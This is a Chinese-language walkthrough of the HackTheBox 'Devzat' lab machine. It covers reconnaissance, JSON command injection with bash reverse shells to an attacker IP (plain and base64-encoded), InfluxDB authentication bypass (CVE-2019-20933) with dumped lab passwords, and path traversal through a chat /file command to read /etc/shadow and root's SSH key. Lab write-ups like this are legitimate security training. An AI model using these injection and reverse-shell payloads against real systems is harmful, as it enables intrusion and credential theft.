> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Devzat HackTheBox 复盘 Devzat HackTheBox 中等 Linux 机器复盘，涵盖目录爆破、Web 注入（RCE）、滥用 InfluxDB（CVE-2019-20933）、滥用 Devzat Chat /file 命令（提权），并包含实 {% embed url="" %} {% hint style="warning" %} **技能：** * 目录模糊测试 * Web 注入（远程代码执行） * 滥用 InfluxDB（CVE-2019-20933） * 滥用 Devzat Chat 的 /file 命令（权限提升） {% endhint %} ## 侦察： **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80.8000）

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

### 端口 80

使用 `whatweb`，我们找到了一个与该网站相关联的电子邮件： `patrick@devzat.htb`.

该应用还告知我们，可以使用 8000 端口通过 SSH 连接到“chat”： ```bash ssh -l [username] devzat.htb -p 8000 ```

### 端口 8000：我们尝试连接，但出现问题，因为需要 SSH 密钥： ```bash ssh -l jordan devzat.htb -p 8000 ```

**临时强制使用 SSH-RSA：** 我们使用以下选项为本次会话指定要使用的 SSH 密钥类型： ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Devzat 项目（SSH 聊天）：** {% hint style="info" %} Devzat 是一个自定义 SSH 服务器，它连接到聊天而不是命令提示符。由于 SSH 应用在所有平台上都可用（包括手机），你可以从任何设备连接到 Devzat。 {% endhint %} 以下是可以在此聊天中执行的命令列表：

### 模糊测试 **目录：** 我们使用 `gobuster` 列出网站上的目录： ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 未发现任何有趣的结果。

### **子域名模糊测试** 我们使用以下命令搜索子域名 `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` 我们发现了 `pets.devzat.htb` 子域名，并将其添加到 `/etc/hosts` 文件。

## **漏洞（RCE）JSON：**

我们可以添加带有物种信息的“pets”，这允许进行 JSON 注入。

我们用 Burp Suite 拦截请求，并尝试通过添加包含 name 和 species 的条目来操纵请求：

该条目被解析，从而允许注入。 ```json { "Name": "jordan", "Species": "jordan" } ```

我们监听 ICMP 包以观察通信并测试命令注入： ```bash sudo tcpdump -i tun0 icmp ``` 我们收到了 ping 回包，这证实了可以进行远程代码执行。

然后我们发送一个带有 `curl` 到我们的 Python 服务器的请求，并且也收到了一个请求，这证实了远程代码执行漏洞。 ```bash { "Name": "jordan", "Species": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"" } ```

### 反向 Shell 我们尝试创建一个反向 shell： ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` 然而，出现了输出错误。

**错误解决方案（反向 shell）：** 为了解决这个错误，我们创建一个包含反向 shell 的 HTML 文件，并将其编码为 base64： ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` 我们将该文件转换为 base64： ```bash base64 -w 0 index.html ```

在查询中，我们运行编码后的 base64 字符串的 echo，并在执行 shell 之前进行解码： {% code overflow="wrap" %} ```bash { "Name": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} 我们再次监听 443 端口并获得一个反向 shell。

#### **终端处理：** 为了稳定会话，我们使用以下命令： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 权限提升我们注意到需要更高的权限。我们需要提权才能访问 `catherine` 用户账户。

#### 开放端口识别首先，我们使用以下命令观察内部开放的端口： ```bash netstat -nltp ``` 开放的端口是： * 8086 * 8443 * 5000

### 端口转发（SSH）我们使用用户的私钥并设置正确权限，将内部端口重定向到我们的攻击机： ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` 然后我们使用 `nmap` 来扫描重定向后的端口： ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### 端口 5000：

我们注意到该端口与 8000 端口上发现的同一服务相关联，因此没有给我们带来额外的利用路径。

### **端口 8086（InfluxDB）** 8086 端口上的服务是 InfluxDB，版本为 1.7.5。我们在 InfluxDB 中识别出一个 NCE（远程代码执行）漏洞：

**漏洞：** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} 该漏洞允许你通过使用一个 JWT 令牌来绕过身份验证，该令牌的 `SharedSecret` 为空（即共享密钥），这使我们可以访问数据库。 {% endhint %}

#### 访问数据库连接到 InfluxDB 后，我们列出可用数据库： ```sql SHOW DATABASES; ``` 我们选择 `devzat` 数据库并探索用户数据。我们首先列出“测量”（表）： ```sql SHOW MEASUREMENTS; ``` 该 **`用户`** 表包含有用信息。为了探索该测量的列，我们执行： ```sql SHOW FIELD KEYS FROM "user"; ``` 然后我们显示 `用户` 表： ```sql SELECT * FROM "user" LIMIT 10; ```


密码	用户名
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

catherine 用户的密码是 **`woBeeYareedahc7Oogeephies7Aiseci`**，这使我们能够找回 **flag** 用户。 ### user.txt 标志 :) 我们成功获得访问权限，并切换为 `catherine`.

### 端口 8443（Devzat - 生产环境） 8443 端口专用于生产环境中的一个 Devzat 实例。我们注意到一个 `文件` 参数会以 root 身份列出系统中的所有文件。然而，访问此功能受密码保护。

我们尝试使用 catherine 的密码，但失败了。现在我们需要搜索 catherine 可以读取的系统文件。

### 搜索 Catherine 可访问的文件我们使用以下命令搜索所有 catherine 可读的文件： ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` 我们找到了两个 `.zip` 备份文件： * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` 我们下载 `devzat-dev.zip` 备份文件，并筛选其中的密码。我们找到了一个有用的密码： **`CeilingCatStillAThingIn2021?`**.

然后我们尝试使用此密码访问 `/etc/shadow` 通过 `文件` 参数存在开放重定向漏洞： ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` 尽管密码正确，但还需要一个 **目录穿越** 才能获得完全访问权限。我们使用以下命令在文件系统中导航：

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` 我们成功显示了 `/etc/shadow` 该文件，且身份为 root。

### 以 Root 身份进行 SSH 访问最后，我们使用额外的目录穿越来访问 root 的 SSH 密钥： ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

我们下载了 SSH 密钥并以 root 身份连接。

### root.txt 标志 :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.